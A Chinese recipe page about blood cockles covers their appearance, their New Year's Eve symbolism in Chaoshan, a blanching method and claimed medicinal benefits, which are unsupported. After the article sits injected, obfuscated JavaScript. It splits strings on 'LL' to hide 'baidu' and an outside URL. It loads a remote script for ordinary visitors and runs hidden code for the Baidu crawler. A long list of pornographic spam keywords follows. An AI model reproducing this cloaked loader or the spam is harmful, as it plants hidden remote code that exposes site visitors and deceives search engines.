當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

血蚶怎么做?血蚶的做法-血蚶的營養價值

2015-05-22 06:31:57  來源:360常識網   熱度:
導語:血蚶屬于軟體動物的瓣鰓類,它的介殼形狀,作心臟形,兩殼質厚而隆起,左右同形,表面有壟溝,如瓦屋棱,約有三四十條,均由殼嘴而散射。肉

血蚶屬于軟體動物的“瓣鰓類”,它的介殼形狀,作心臟形,兩殼質厚而隆起,左右同形,表面有壟溝,如瓦屋棱,約有三四十條,均由殼嘴而散射。肉柱紫赤色,多血,味極鮮美,嗜好之者,把它視作廉價的補品,下酒的佳肴。

血蚶的做法-血蚶的營養價值
血蚶的做法-血蚶的營養價值

血蚶的簡介

血蚶屬于軟體動物的“瓣鰓類”,它的介殼形狀,作心臟形,兩殼質厚而隆起,左右同形,表面有壟溝,如瓦屋棱,約有三四十條,均由殼嘴而散射。肉柱紫赤色,多血,味極鮮美,嗜好之者,把它視作廉價的補品,下酒的佳肴。銀蚶當屬毛蚶同類,唯體型大小有別,較一元硬幣稍校口感上,銀蚶要比毛蚶更鮮、更嫩,也更難調理。銀蚶是價格很高的經濟作物,對水質的要求相當高,現在許多地方都是筑塘引水養殖,比毛蚶要乾凈許多。銀蚶個小殼薄,絕對不是小毛蚶,毛蚶殼上有毛,銀蚶沒有。

潮汕除夕圍爐,血蚶是缺少不得的食品之一。由于蚶殼相磨所發的音響,極似銅錢聲音,所以兒童稱蚶殼為“蚶殼錢”。除夕食蚶,意取金錢眾多,反復可數的意思。這和廣府人新年食大蜆而稱“發財大蜆”,是同一風俗的,都是寄托“年勝一年”的祈愿,不能盡以迷信目之。

血蚶的做法

燙血蚶要有一定經驗,燙得太熟,則蚶殼裂開,肉呈蒼黃而干癟無血,這樣食起來,就大失原味;如果燙得不夠火候,則蚶殼不但難以掀揭,而且掀開了,肉柱粘在殼的兩邊,食起來也略帶腥味。如果按照下面這個方法來做,則相信可以火候適中:做時先將蚶洗去泥沙,濾干放在鐵鍋里,另燒開水至“蟹目”程度(即起泡有聲,但未沸騰),把開水迅速倒入蚶中,焗約三分鐘,即把水濾去,便可以取食了。

有人喜歡把洗凈的蚶,逐顆用鐵筷夾住,放在炭爐上煨食。這種食法,自然比水焗好味,但手續頗為人忽略的是,蚶殼掀開時,往往有一小塊沙泥附在肉柱邊,食時應加留意,輕輕將其抹去,免至將其吞入肚內。

血蚶的營養價值

血蚶肉味甘咸、性溫,入脾、胃、肝經;具有補益氣血、健脾益胃、散結消痰之功效;用于癥瘕痞塊、老痰積結等癥;又有制酸止痛作用,可用治胃痛泛酸的病癥。

其實蚶到冬月,是最肥美的大造時候,人們喜歡在此時飲酒食蚶,是自然不過的事。有一些地方沒有蚶產,未曾見過食蚶的人,初見時,看到掀開蚶殼鮮血淋漓,肯定它必味腥難食,因而不敢染指,及至他吃了一兩顆之后,這才點頭稱善,更番尋味。江浙一帶以及上海館子中的食法,多配以浙醋姜絲、麻油等,但潮人的配料卻是“三參醬”(即辣椒醬、梅膏醬、酸醋),再加糖和蕪荽等物,掀而點食,實在是十分可口的時鮮。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
麻豆国产精品一二三在线观看| 国产精品午夜福利在线无码| 久久福利青草精品资源站| 九九热线精品视频16| 亚洲AV无码久久精品成人| 色精品一区二区三区| 精品久久久久久成人AV| 久久青青草原精品国产软件 | 国产精品亚洲专区无码牛牛| 久久机热re这里只有精品15| 天天爽夜夜爽8888视频精品| 国产三级精品三级在专区中文| 国产精品9999久久久久| 国产精品网址在线观看你懂的| 国产乱码精品一区二区三区香蕉 | 2021午夜国产精品福利| 97久久综合精品久久久综合| 国产精品第一页第一页| 国产精品久久久天天影视| 久久久国产精品无码免费专区| 亚洲AV永久无码精品一区二区国产 | 亚洲AV成人精品一区二区三区| 久久精品中文闷骚内射| 久久精品一区二区| 精品久久人人爽天天玩人人妻| 国产精品va在线观看无| 午夜精品久久久久久久99蜜桃| 91午夜精品亚洲一区二区三区| 久久亚洲AV无码精品色午夜麻 | 久久免费观看国产精品| 中文精品北条麻妃中文| 亚洲国产精品综合久久网络| 日本精品一区二区在线播放| 亚洲区日韩精品中文字幕| 7m精品福利视频导航| 无码人妻精品一区二区三区99仓本 | www.99精品| 污污网站国产精品白丝袜| 国产精品爽爽影院在线| 好吊妞这里有精品| 精品一线二线三线区别在哪欧美|